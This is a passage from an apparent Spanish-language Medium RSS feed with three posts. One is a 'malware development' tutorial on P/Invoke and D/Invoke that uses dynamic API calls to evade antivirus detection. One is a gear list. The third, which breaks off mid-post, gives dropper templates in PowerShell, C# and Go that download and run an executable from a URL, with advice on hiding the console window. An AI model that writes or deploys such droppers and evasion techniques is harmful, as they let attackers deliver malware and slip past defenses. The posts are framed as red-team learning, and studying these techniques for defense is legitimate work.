href="https://www.linkedin.com/in/leonardo-astorga-20b1095a/">Huerfano</a></li><li><a href="https://x.com/aliasgwynplaine">aliasgwynplaine</a> — <a href="https://xn--ida.live/">https://xn--ida.live/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa120ffcdd92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Development — P/Invoke y D/Invoke]]></title>
            <link>https://vay3t.medium.com/malware-development-p-invoke-y-d-invoke-689c8e4c547f?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/689c8e4c547f</guid>
            <category><![CDATA[dot-net-framework]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[development]]></category>
            <category><![CDATA[dotnet]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Mon, 28 Oct 2024 18:24:54 GMT</pubDate>
            <atom:updated>2025-06-27T16:43:34.961Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Development — P/Invoke y D/Invoke</h3><p><strong>P/Invoke</strong> y <strong>D/Invoke</strong> son dos técnicas utilizadas para llamar a funciones nativas (generalmente de bibliotecas <em>DLL</em> en <em>C/C++</em>) desde código administrado, como <em>C#</em> en <em>.NET</em>. Ambas tienen como objetivo realizar llamadas a <em>APIs</em> nativas, pero funcionan de manera diferente y se usan en contextos distintos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zYxvF8rPTgGifhcU" /></figure><h3>Windows APIs en C#</h3><p>La creación de malware requiere un profundo conocimiento del sistema operativo <em>Windows</em>, incluyendo el aprovechamiento de las funcionalidades de las <em>APIs</em> internas para maximizar el alcance y mantenerse oculto, evitando ser detectado o bloqueado por las herramientas de defensa. El abuso de estas <em>APIs</em> internas ofrece una ventaja considerable en términos de las capacidades que se pueden explotar.</p><p>Estas <em>APIs</em> internas, formalmente conocidas como <em>Windows APIs</em>, deben ser invocadas a través de <em>DLLs</em>, las cuales generalmente están programadas en <em>C</em> o <em>C++</em>. Sin embargo, gracias a la interoperabilidad que ofrece <em>Windows</em>, es posible realizar llamadas a las <em>Windows APIs</em> desde cualquier lenguaje de programación que utilice un motor de <em>Microsoft</em>, como <em>C#</em>, <em>PowerShell</em> o <em>VBScript</em>.</p><p>A continuación, se muestra un ejemplo de cómo obtener el nombre del equipo utilizando <em>C#</em> y <em>Windows APIs</em>.</p><pre>using System;<br>using System.Runtime.InteropServices;<br><br>class Program<br>{<br>    [DllImport(&quot;kernel32.dll&quot;, SetLastError = true, CharSet = CharSet.Auto)]<br>    static extern bool GetComputerName([Out] StringBuilder lpBuffer, ref uint nSize);<br><br>    static void Main()<br>    {<br>        uint size = 256; // Tamaño del buffer<br>        StringBuilder buffer = new StringBuilder((int)size);<br><br>        if (GetComputerName(buffer, ref size))<br>        {<br>            Console.WriteLine(&quot;Nombre del Computador: &quot; + buffer.ToString());<br>        }<br>        else<br>        {<br>            Console.WriteLine(&quot;Error al obtener el nombre del computador.&quot;);<br>        }<br>    }<br>}</pre><p>⁠Para probar este codigo puedes usar <em>Mono</em>, esta utilidad compila el programa usando la <em>API</em> de <em>.NET Framework</em> desde cualquier <em>*Nix.</em></p><pre>brew install mono<br>csc -platform:x64 example.cs</pre><h3>1. P/Invoke (Platform Invocation Services):</h3><p><strong>P/Invoke</strong>, abreviatura de <strong>Platform Invocation</strong>, es un mecanismo en <em>.NET</em> que permite que el código administrado (<em>C#</em> u otro lenguaje <em>.NET</em>) invoque funciones no administradas (nativas <em>C/C++</em>) de una <em>DLL</em>. Es muy común para llamar funciones del sistema operativo como las <em>APIs</em> de <em>Windows</em>.</p><h4>Características clave de P/Invoke:</h4><ul><li><strong>Estático y explícito</strong>: Al usar <strong>P/Invoke</strong>, debes declarar explícitamente la función que quieres invocar mediante un atributo DllImport en tu código. Ejemplo:</li></ul><pre>[DllImport(&quot;kernel32.dll&quot;)]<br>public static extern IntPtr GetModuleHandle(string moduleName);</pre><ul><li><strong>Facilidad de uso</strong>: Es fácil de implementar y se usa mayormente en aplicaciones legítimas para interactuar con <em>APIs</em> nativas del sistema operativo.</li><li><strong>Comportamiento predecible</strong>: La firma de la función y el nombre de la <em>DLL</em> se declaran estáticamente en el código.</li><li><strong>Uso común</strong>: Se usa para integrar bibliotecas nativas existentes, como bibliotecas de <em>Windows</em> o librerías personalizadas escritas en <em>C</em> o <em>C++</em>.</li></ul><h4>Ejemplo con P/Invoke (Platform Invocation)</h4><p><strong>P/Invoke</strong> permite llamar a funciones no administradas (por ejemplo, de la <em>API</em> de <em>Windows</em>) desde código <em>C#</em>. Aquí llamamos a la función MessageBox de la biblioteca de <em>Windows</em> user32.dll.</p><pre>using System;<br>using System.Runtime.InteropServices;<br><br>class Program<br>{<br>    // Declaración de la función MessageBox desde user32.dll<br>    [DllImport(&quot;user32.dll&quot;, CharSet = CharSet.Auto, SetLastError = true)]<br>    public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);<br>    static void Main(string[] args)<br>    {<br>        // Llamar a MessageBox usando P/Invoke<br>        MessageBox(IntPtr.Zero, &quot;Hello, P/Invoke!&quot;, &quot;P/Invoke Example&quot;, 0);<br>    }<br>}</pre><h4>En este ejemplo:</h4><ul><li>Se utiliza el atributo DllImport para importar la función MessageBox desde la biblioteca user32.dll.</li><li>La función MessageBox toma varios parámetros: el identificador de ventana (hWnd), el texto, el título y el tipo de cuadro de mensaje.</li><li>Luego, se llama a la función dentro del Main, mostrando el cuadro de mensaje.</li></ul><h3>2. D/Invoke (Dynamic Invocation):</h3><p><strong>D/Invoke</strong> es una técnica más avanzada y compleja, que permite invocar funciones nativas de manera dinámica y, por lo general, se emplea en el desarrollo de herramientas de ciberseguridad y malware para evitar la detección por parte de herramientas de análisis o antivirus.</p><h4>Características clave de D/Invoke:</h4><ul><li><strong>Dinámico y ofuscado</strong>: A diferencia de <strong>P/Invoke</strong>, en <strong>D/Invoke</strong> no se hace una declaración estática y explícita de las funciones que se llaman. En su lugar, las llamadas a funciones nativas se realizan dinámicamente en tiempo de ejecución, lo que hace más difícil para los antivirus o herramientas de seguridad identificar qué funciones se están invocando.</li><li><strong>Técnica avanzada</strong>: <strong>D/Invoke</strong> a menudo se usa para evitar detección y análisis estático en el binario, ya que no se dejan rastros claros en el binario qué APIs se están invocando.</li><li><strong>Desempeño en entornos de ciberseguridad</strong>: Se utiliza comúnmente en malware o herramientas de hacking, ya que permite evadir firmas de antivirus que podrían detectar fácilmente llamadas <strong>P/Invoke</strong> estáticas.</li><li><strong>Ofuscación</strong>: Los nombres de las funciones y las <em>DLLs</em> pueden estar ofuscados o cargarse de manera dinámica, lo que dificulta el análisis por herramientas de detección.</li></ul><h4>Ejemplo con D/Invoke (Dynamic Invocation)</h4><p><strong>D/Invoke</strong> hace referencia al uso de invocación dinámica, una técnica en la que las bibliotecas y funciones se cargan en tiempo de ejecución, sin emplear atributos como DllImport.</p><p>En el siguiente ejemplo se utilizará el repositorio <strong>DInvoke</strong> de <em>Rasta mouse</em> para implementar esta técnica. Esta biblioteca facilita su ejecución de manera sencilla.</p><p>Aunque actualmente la técnica puede ser detectada por los antivirus, es posible modificar la biblioteca para evadir dicha detección.</p><p><a href="https://github.com/rasta-mouse/DInvoke">GitHub - rasta-mouse/DInvoke: Dynamically invoke arbitrary unmanaged code from managed code without P/Invoke.</a></p><pre>using System;<br>using System.Runtime.InteropServices;<br>using DInvoke.DynamicInvoke;<br><br>namespace DInvokeExample<br>{<br>    class Program<br>    {<br>        // Declarar el delegado para MessageBox<br>        [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Auto, SetLastError = true)]<br>        public delegate int MessageBoxDelegate(IntPtr hWnd, string text, string caption, uint type);<br><br>        static void Main(string[] args)<br>        {<br>            // Crear los parámetros como array de objetos<br>            object[] parameters =<br>            {<br>                IntPtr.Zero,<br>                &quot;Hello, D/Invoke!&quot;,<br>                &quot;D/Invoke Example&quot;,<br>                (uint)0<br>            };<br><br>            // Invocar la API usando D/Invoke<br>            int result = (int)Generic.DynamicApiInvoke(<br>                &quot;user32.dll&quot;,<br>                &quot;MessageBoxW&quot;, // Siempre usar la versión wide-char (Unicode)<br>                typeof(MessageBoxDelegate),<br>                ref parameters<br>            );<br><br>            // Mostrar el valor devuelto<br>            Console.WriteLine($&quot;MessageBox returned: {result}&quot;);<br>        }<br>    }<br>}</pre><h4>En este ejemplo:</h4><ul><li>Se define un <strong>delegado</strong> llamado MessageBoxDelegate que coincide con la firma de la función MessageBoxW de la API de Windows.</li><li>En lugar de usar [DllImport], se llama a la función DynamicApiInvoke de la clase Generic en la biblioteca DInvoke, lo que permite invocar dinámicamente funciones sin necesidad de importarlas en tiempo de compilación.</li><li>Se pasa el nombre de la DLL (user32.dll), el nombre de la función (MessageBoxW), el tipo delegado y los parámetros como un arreglo de objetos.</li><li>Se imprime el valor de retorno que proporciona MessageBox.</li></ul><p>Este enfoque evita el uso explícito de DllImport, dificultando la detección estática por mecanismos de seguridad tradicionales.</p><h3>Conclusión</h3><p><strong>P/Invoke</strong> es la opción estándar para llamadas a funciones nativas en <em>.NET</em> cuando no se necesita evasión o protección, mientras que <strong>D/Invoke</strong> se usa en contextos donde la detección debe ser evadida, como en malware o técnicas ofensivas de seguridad informática.</p><h3>BonusTrack — P/Invoke con GetProcAddress</h3><p><strong>GetProcAddress</strong> es una técnica que permite invocar funciones no administradas (nativas,<em> C/C++</em>) de manera más dinámica que P/Invoke tradicional. En lugar de declarar explícitamente las funciones mediante [DllImport], se cargan bibliotecas y funciones en tiempo de ejecución. Esta técnica se emplea tanto en escenarios legítimos (como interoperabilidad avanzada) como en contextos evasivos (por ejemplo, malware o herramientas ofensivas que desean evitar firmas estáticas).</p><h4>Características usando GetProcAddress</h4><ul><li><strong>Carga dinámica:</strong> No es necesario declarar las funciones estáticamente en el código. Se puede cargar cualquier función en tiempo de ejecución.</li><li><strong>Más flexible, pero más compleja:</strong> Al usar LoadLibrary y GetProcAddress, se tiene un control más detallado sobre qué bibliotecas y funciones se cargan.</li><li><strong>Menos detectable por análisis estático:</strong> Como las funciones se resuelven dinámicamente, es más difícil para herramientas de análisis estático detectar qué funciones se están utilizando.</li><li><strong>Necesita delegados:</strong> Para invocar las funciones, es necesario crear un delegado que coincida con la firma de la función deseada.</li></ul><blockquote><strong>Nota:</strong> Un delegado en C# es como una variable que puede guardar un método. Luego puedes usar esa variable para llamar al método. Es parecido a un puntero a función en C o C++, pero más seguro.</blockquote><ul><li><strong>Común en D/Invoke:</strong> Esta técnica es parte de un patrón llamado “Dynamic Invocation” (D/Invoke), que permite ejecutar funciones del sistema operativo sin usar directamente P/Invoke estático.</li></ul><h4>Ejemplo con GetProcAddress</h4><p>Este ejemplo demuestra cómo llamar a la función MessageBox desde user32.dll usando LoadLibrary y GetProcAddress.</p><pre>using System;<br>using System.Reflection;<br>using System.Runtime.InteropServices;<br><br>class Program<br>{<br>    // Definir el delegado para la función MessageBox<br>    [UnmanagedFunctionPointer(CallingConvention.Winapi, CharSet = CharSet.Auto)]<br>    delegate int MessageBoxDelegate(IntPtr hWnd, string text, string caption, uint type);<br><br>    // Declarar métodos para manipular las bibliotecas dinámicamente<br>    [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>    public static extern IntPtr LoadLibrary(string lpFileName);<br><br>    [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>    public static extern bool FreeLibrary(IntPtr hModule);<br><br>    [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);<br><br>    static void Main(string[] args)<br>    {<br>        // Cargar la biblioteca user32.dll<br>        IntPtr hModule = LoadLibrary(&quot;user32.dll&quot;);<br><br>        if (hModule == IntPtr.Zero)<br>        {<br>            Console.WriteLine(&quot;No se pudo cargar la librería user32.dll&quot;);<br>            return;<br>        }<br><br>        // Obtener la dirección de la función MessageBox<br>        IntPtr pMessageBox = GetProcAddress(hModule, &quot;MessageBoxW&quot;);<br><br>        if (pMessageBox == IntPtr.Zero)<br>        {<br>            Console.WriteLine(&quot;No se pudo encontrar la función MessageBox&quot;);<br>            return;<br>        }<br><br>        // Crear un delegado para la función MessageBox<br>        var messageBoxDelegate = (MessageBoxDelegate)Marshal.GetDelegateForFunctionPointer(pMessageBox, typeof(MessageBoxDelegate));<br><br>        // Invocar MessageBox dinámicamente<br>        messageBoxDelegate(IntPtr.Zero, &quot;Hello, D/Invoke!&quot;, &quot;D/Invoke Example&quot;, 0);<br><br>        // Liberar la biblioteca<br>        FreeLibrary(hModule);<br>    }<br>}</pre><h4>En este ejemplo de D/Invoke:</h4><ul><li>Usamos LoadLibrary para cargar user32.dll dinámicamente.</li><li>GetProcAddress se usa para obtener la dirección de la función MessageBox.</li><li>Creamos un delegado (MessageBoxDelegate) que coincida con la firma de MessageBox.</li><li>Luego, utilizamos Marshal.GetDelegateForFunctionPointer para crear una instancia del delegado que apunta a la función MessageBox y la invocamos dinámicamente.</li><li>Finalmente, se libera la biblioteca cargada con FreeLibrary.</li></ul><h3>Referencias</h3><ul><li><a href="https://learn.microsoft.com/es-es/dotnet/standard/native-interop/pinvoke">https://learn.microsoft.com/es-es/dotnet/standard/native-interop/pinvoke</a></li><li><a href="https://learn.microsoft.com/es-es/windows/win32/apiindex/windows-api-list">https://learn.microsoft.com/es-es/windows/win32/apiindex/windows-api-list</a></li><li><a href="https://www.pinvoke.net/">https://www.pinvoke.net/</a></li><li><a href="https://www.youtube.com/watch?v=baj9IpB_Z6Y">https://www.youtube.com/watch?v=baj9IpB_Z6Y</a></li><li><a href="https://github.com/rasta-mouse/DInvoke">https://github.com/rasta-mouse/DInvoke</a></li><li><a href="https://github.com/Dump-GUY/Get-PDInvokeImports">https://github.com/Dump-GUY/Get-PDInvokeImports</a></li><li><a href="https://vay3t.medium.com/malware-development-droppers-baits-281066fd9019">https://vay3t.medium.com/malware-development-droppers-baits-281066fd9019</a></li><li><a href="https://vay3t.medium.com/malware-development-instalaci%C3%B3n-del-entorno-de-desarrollo-de-malware-en-macos-3c347084599e">https://vay3t.medium.com/malware-development-instalaci%C3%B3n-del-entorno-de-desarrollo-de-malware-en-macos-3c347084599e</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=689c8e4c547f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Estilo de vida — EDC Urbano]]></title>
            <link>https://vay3t.medium.com/estilo-de-vida-edc-urbano-43320f0308ae?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/43320f0308ae</guid>
            <category><![CDATA[utilidades]]></category>
            <category><![CDATA[preppers]]></category>
            <category><![CDATA[urbano]]></category>
            <category><![CDATA[edc]]></category>
            <category><![CDATA[estilo-de-vida]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Mon, 16 Sep 2024 21:01:49 GMT</pubDate>
            <atom:updated>2025-06-21T20:40:54.719Z</atom:updated>
            <content:encoded><![CDATA[<h3>Estilo de vida — EDC Urbano</h3><p>Cangurera, Banano, Bolso de cintura, Riñonera para el día a día</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CRG9QcLCxgLFwoofSjyZ9Q.png" /></figure><p>¿Cuantas veces has tenido que hacer reparaciones urgentes pero no podias porque te faltaba cierta herramienta? ¿O cuantas veces te quedaste sin bateria pero deseaste tener un cargador a mano? ¿Y ni hablar de cuantas veces quedaste como payaso por no tener un abridor de botellas? Claramente, yo no soy esa persona porque cuando salgo, siempre salgo preparado para todo con una configuración que me permite solucionar todos mis problemas de manera rápida y con el mínimo peso, por medio de mi <strong>EDC</strong>.</p><blockquote>Es necesario tener en cuenta que esto es solo una recomendación. Tienes que ver con que artefactos y configuración quedas mejor para tu día a día.</blockquote><h3>Para qué un EDC?</h3><p>Un <strong>EDC</strong> (<em>Everyday Carry</em>) hace referencia a los objetos que una persona lleva consigo diariamente para estar preparada tanto para situaciones cotidianas como para posibles emergencias. Estar prevenido siempre es una ventaja, y contar con lo necesario al alcance de la mano resulta especialmente útil. En esta entrada, se presenta una configuración de herramientas y objetos basada en un estudio no formal y en la experiencia personal, con el objetivo de identificar aquellos elementos que ofrecen mayor utilidad y demanda en la rutina diaria.</p><h3>Maxpedition Octa Versipack</h3><p>La Cangurera, Banano, Bolso de cintura, Riñonera donde ira todos nuestros artefactos, llevo un tiempo usandolo y por lejos es el más cómodo hasta la fecha. Tiene tiras ajustables las cuales son fáciles de utilizar. También, como se ve en la imagen tiene velcro para dejarle algún parche.</p><ul><li><a href="https://www.maxpedition.com/products/octa-versipack?variant=27895805393">https://www.maxpedition.com/products/octa-versipack?variant=27895805393</a></li></ul><h3>Leatherman Charge®+ TTi</h3><p>Multiherramienta, también conocido como multitool. Es la “navaja suiza” de nuestro EDC, este permite resolver todos los problemas técnicos/mecánicos que tengamos en nuestro día a día, por ejemplo, atornillar, cortar carton, hacer palanca, cortar con tijeras, si te metes en problemas, etc…</p><p>Esta herramienta va en el almacenamiento de al medio, debe estar en un lugar de fácil acceso para una respuesta rápida.</p><ul><li><a href="https://www.leatherman.com/charge-tti-7.html">https://www.leatherman.com/charge-tti-7.html</a></li></ul><h4>Accesorios Leatherman</h4><p>Estos accesorios son utiles cuando quieres extender la funcionalidad de la multitool, pero si encuentras que de por si la multitool te funciona bien sin estos accesorios, puedes no necesitarlos.</p><p>Estos accesorios no son muy usados en el día a día por lo cual los tengo en el bolsillo más grande en la parte de la malla.</p><ul><li><strong>Bit Driver Extender</strong>: <a href="https://www.leatherman.com/bit-driver-extender-931009.html">https://www.leatherman.com/bit-driver-extender-931009.html</a></li><li><strong>Bit Kit Set</strong>: <a href="https://www.leatherman.com/bit-kit-set-931014.html">https://www.leatherman.com/bit-kit-set-931014.html</a></li></ul><h3>Fenix LD30R</h3><p>Una linterna potente siempre es util, en muchas ocaciones tanto para buscar cosas, alumbrar caminos, usarlos para aturdir a alguien que te quiere agredir.</p><p>Esta herramienta va en la parte superior del EDC, tiene un apartado de medida justa para que quede guardado y facil de sacar.</p><ul><li><a href="https://www.fenixlighting.com/products/fenix-ld30r-rechargeable-flashlight">https://www.fenixlighting.com/products/fenix-ld30r-rechargeable-flashlight</a></li></ul><h3>Sea to Summit Ultra-Sil Day Pack</h3><p>Hoy en día, por temas ecológicos, algunos países tienen prohibido dar bolsas plásticas desechables o te cobran muy caro por una para que sea un desincentivo usarlas. No hay nada mejor que esta mochila portátil para ese tipo de cosas.</p><p>Como es de un tamaño moderadamente grande para el EDC recomiendo que vaya en el bolsillo más grande cerca de alguno de los costados.</p><ul><li><a href="https://seatosummit.com/products/ultra-sil-day-pack">https://seatosummit.com/products/ultra-sil-day-pack</a></li></ul><h3>Anker MagGo Power Bank (10K, Slim)</h3><p>Quien no se ha quedado sin batería y no ha tenido donde cargar el teléfono. Este power bank sirve para estas situaciones. Puede ser cualquiera pero recomiendo uno que sea con carga por inducción dado a que le da performance a la carga y al uso del teléfono, aún que no cargue tan rápido como uno deseara.</p><p>Esta herramienta va guardado en el bolsillo más grande en la sección del bolsillo interno, para que quede resguardado del resto de utilidades que uno tenga ahí.</p><ul><li><a href="https://www.anker.com/products/a1664-maggo-10000mah-power-bank?ref=naviMenu&amp;variant=44058070515862">https://www.anker.com/products/a1664-maggo-10000mah-power-bank?ref=naviMenu&amp;variant=44058070515862</a></li></ul><h3>Anker 511 Charger (Nano 3, 30W)</h3><p>En caso de que tengas la oportunidad de cargar tu teléfono o power bank desde un enchufe, te recomiendo este. Tiene un diseño minimalista y ultra pequeño.</p><p>Esta utilidad va en alguno de los costados del bolsillo más grande.</p><ul><li><a href="https://www.anker.com/products/a2147?variant=42089534750870">https://www.anker.com/products/a2147?variant=42089534750870</a></li></ul><h3>Cable USB-C</h3><p>Como vas a cargar con tu cargador si no tienes USB-C ?</p><p>Los cables en general los tengo en el bolsillo de más de afuera.</p><ul><li><a href="https://www.anker.com/products/a8753?variant=40598120333462&amp;collections_usb-c=undefined&amp;Sort_by=Recommended">https://www.anker.com/products/a8753?variant=40598120333462&amp;collections_usb-c=undefined&amp;Sort_by=Recommended</a></li></ul><h3>Alcohol gel para manos 60 ml</h3><p>Para no tener las manitos sucias.</p><p>Este va en el bolsillo más grande donde mejor caiga.</p><ul><li><a href="https://articulo.mercadolibre.cl/MLC-2518246042-alcohol-gel-elite-60-cc-neutro-al-70-_JM">https://articulo.mercadolibre.cl/MLC-2518246042-alcohol-gel-elite-60-cc-neutro-al-70-_JM</a></li></ul><h3>Pañuelos de bolsillo 10 unidades</h3><p>Para la alergia, resfrío o simplemente hay una mesa con una pata más corta.</p><p>Va en el bolsillo más grande donde mejor caiga.</p><ul><li><a href="https://www.mercadolibre.cl/panuelos-elite-pack-familiar-18-un/p/MLC21622516">https://www.mercadolibre.cl/panuelos-elite-pack-familiar-18-un/p/MLC21622516</a></li></ul><h3>Cinta métrica retráctil</h3><p>A veces cuando necesitas adquirir algo muchas veces nos basamos en su medida, esta herramientas es un salvavidas para ello, no es el más largo pero si lo suficiente para ayudarte en esos temas.</p><p>Este va en el bolsillo de al medio en una de las secciones junto con la multitool.</p><ul><li><a href="https://www.amazon.com/dp/B07XNYCYJN">https://www.amazon.com/dp/B07XNYCYJN</a></li></ul><h3>Cartera de bolsillo frontal con clip de fibra de carbono</h3><p>Util para los billetes y las tarjetas, tengo 2 para su uso respectivamente.</p><p>Es recomendado que vayan en la parte de al medio en el bolsillo interno, esto para dejarlo resguardado de la multitool y la cinta metrica. Es necesario notar que va a ahí por su fácil acceso.</p><ul><li><a href="https://www.amazon.com/dp/B0CDGW4GZ2?th=1">https://www.amazon.com/dp/B0CDGW4GZ2?th=1</a></li></ul><h3>Bridas reutilizable</h3><p>Util por donde se le mire, especialmente si quieres amarrar a tu amigo en un paradero para molestarlo un rato hasta que venga la micro y dejarlo ahí, haces como te vas pero al final lo desamarras.</p><p>Esta utilidad va donde mejor caiga pero recomiendo tenerlo en el bolsillo más grande.</p><ul><li><a href="https://www.amazon.com/dp/B08279NPQ6/">https://www.amazon.com/dp/B08279NPQ6/</a></li></ul><h3>Bolsa de basura tipo camiseta</h3><p>No es necesario tener las 10 bolsas de algún pack, con que tengas unos 3 basta, su utilidad radica en que la Sea to Summit Ultra-Sil Day Pack la tienes llena o si lo que llevas lo podría ensuciar.</p><p>Esta mochila va en el bolsillo más grande.</p><ul><li><a href="https://www.jumbo.cl/bolsa-superior-camiseta-rollo-50x65-10un/p">https://www.jumbo.cl/bolsa-superior-camiseta-rollo-50x65-10un/p</a></li></ul><h3>Mosquetón y gancho para colgar</h3><p>Este lo ocupo para dejar mi jockey o alguna bolsa el cual no podría llevar en la mano. También es util para colgar en algún lugar el banano.</p><p>Este va en alguno de los costados de la parte de afuera.</p><ul><li><a href="https://www.amazon.com/dp/B07JK9DYNR?th=1&amp;psc=1">https://www.amazon.com/dp/B07JK9DYNR?th=1&amp;psc=1</a></li></ul><h3>Maxpedition Grimloc</h3><p>Esto se ocupa para dejar el Shemagh o algún paño de preferencia. La utilidad de esta es brindar ademas de un apoyo al dejar el paño también una forma de presentar el paño de una forma estilosa.</p><p>Al igual que el mosquetón, este va en uno de los costados de la parte de afuera.</p><ul><li><a href="https://www.amazon.com/dp/B001LX8DYK">https://www.amazon.com/dp/B001LX8DYK</a></li></ul><h3>Paño</h3><p>El paño tiene muchas utilidades, para limpiar, abrigar o simplemente para darle estilo a tu EDC. En mi caso uso en la foto el Shemagh.</p><p>Este va enganchado al Maxpedition Grimloc.</p><h4>Pañoleta</h4><ul><li><a href="https://www.amazon.com/dp/B0879GKPQ4/">https://www.amazon.com/dp/B0879GKPQ4/</a></li></ul><h4>Shemagh</h4><ul><li><a href="https://www.amazon.com/dp/B01L1593L4/">https://www.amazon.com/dp/B01L1593L4/</a></li></ul><h3>Paño de microfibra</h3><p>A veces suele ser util un paño de microfibra para secar la piel o algun liquido derramando.</p><ul><li><a href="https://www.decathlon.co.uk/p/swimming-microfibre-towel-size-s-39-x-55-cm-double-sided-blue-green/_/R-p-341947">https://www.decathlon.co.uk/p/swimming-microfibre-towel-size-s-39-x-55-cm-double-sided-blue-green/_/R-p-341947</a></li></ul><h3>Hak5 Red &amp; Black Hat</h3><p>Un gorrito estiloso siempre es util, ademas que te ayuda para protegerte del sol.</p><p>Este va enganchado del mosquetón.</p><ul><li><a href="https://shop.hak5.org/collections/hats/products/hak5-red-black-hat">https://shop.hak5.org/collections/hats/products/hak5-red-black-hat</a></li></ul><h3>Parches de velcro para Octa Versipack</h3><p>~ Dressed up to the nines everyday ~</p><ul><li><a href="https://www.amazon.com/s?k=morale+patches+velcro">https://www.amazon.com/s?k=morale+patches+velcro</a></li></ul><h3>Paracord</h3><p>Este lo ocupo como tirante para la multitool. Resulta que la multitool tiene unas partes metálicas los cuales se pueden encajar a ella, una de ellas es como un aro para dejar ahi alguna cuerda.</p><ul><li><a href="https://www.amazon.com/dp/B07THBN5J6?th=1">https://www.amazon.com/dp/B07THBN5J6?th=1</a></li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FSNfNuaKIekw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DSNfNuaKIekw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FSNfNuaKIekw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/887d4e818218157cae26c6c65b54eb49/href">https://medium.com/media/887d4e818218157cae26c6c65b54eb49/href</a></iframe><h3>Misceláneo</h3><ul><li>Lápiz de tinta</li><li>Encendedor</li></ul><h3>¿Sufres de ansiedad?</h3><ul><li><a href="https://www.neurexan.com/">https://www.neurexan.com/</a></li></ul><h3>Creditos</h3><ul><li><a href="https://github.com/elborikua">Elborikua</a> — Aka El PoS Destroyer</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43320f0308ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Development — Droppers & Baits]]></title>
            <link>https://vay3t.medium.com/malware-development-droppers-baits-281066fd9019?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/281066fd9019</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dropper]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Sat, 31 Aug 2024 03:49:16 GMT</pubDate>
            <atom:updated>2025-05-09T05:37:37.024Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Development — Droppers &amp; Baits</h3><p>Que son los droppers, ejemplos básicos y técnicas de evasión.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xhPB9lBP8Ou7d8cl" /><figcaption>Imagen generada con OpenAI</figcaption></figure><h3>WTF es un dropper?</h3><p>Un <em>dropper</em> es un binario que, al ser ejecutado, descarga otro binario y lo ejecuta, actuando como un iniciador del malware real. Se programa de manera sencilla porque su naturaleza es desechable. Su utilidad radica en que es preferible que el sistema de seguridad, como un antivirus o un EDR, detecte y marque el dropper antes que el malware principal. De esta forma, se protege el núcleo de la acción principal del ataque.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BZa0ZS8rFTbVNzHg" /></figure><h3>Ejemplos básicos de droppers</h3><p>Aquí te presento algunos ejemplos básicos en distintos lenguajes de programación. Estos ejemplos pueden servir como plantillas para editar y añadir pasos adicionales al <em>dropper</em>, haciendo que la descarga sea menos directa y, por lo tanto, más difícil de detectar. Es importante que incluyas funciones en el <em>código</em> o parámetros en el <em>compilador/intérprete</em> para ocultar la ventana del <strong>CMD</strong> cuando se ejecute el archivo.</p><h4>PowerShell</h4><pre>$exeUrl = &quot;https://example.com/archivo.exe&quot;<br>$exePath = &quot;$env:TEMP\archivo.exe&quot;<br><br>Invoke-WebRequest -Uri $exeUrl -OutFile $exePath<br>Start-Process $exePath</pre><h4>C#</h4><pre>using System;<br>using System.Net;<br>using System.Diagnostics;<br>using System.IO;<br><br>class Program<br>{<br>    static void Main()<br>    {<br>        string exeUrl = &quot;https://example.com/archivo.exe&quot;;<br>        string exePath = Path.Combine(Path.GetTempPath(), &quot;archivo.exe&quot;);<br><br>        using (WebClient client = new WebClient())<br>        {<br>            client.DownloadFile(exeUrl, exePath);<br>        }<br><br>        Process.Start(exePath);<br>    }<br>}</pre><h4>Golang</h4><pre>package main<br><br>import (<br> &quot;io&quot;<br> &quot;net/http&quot;<br> &quot;os&quot;<br> &quot;os/exec&quot;<br> &quot;path/filepath&quot;<br>)<br><br>func main() {<br> exeUrl := &quot;https://example.com/archivo.exe&quot;<br> exePath := filepath.Join(os.TempDir(), &quot;archivo.exe&quot;)<br><br> // Descargar el archivo<br> resp, err := http.Get(exeUrl)<br> if err != nil {<br>  panic(err)<br> }<br> defer resp.Body.Close()<br><br> out, err := os.Create(exePath)<br> if err != nil {<br>  panic(err)<br> }<br> defer out.Close()<br><br> _, err = io.Copy(out, resp.Body)<br> if err != nil {<br>  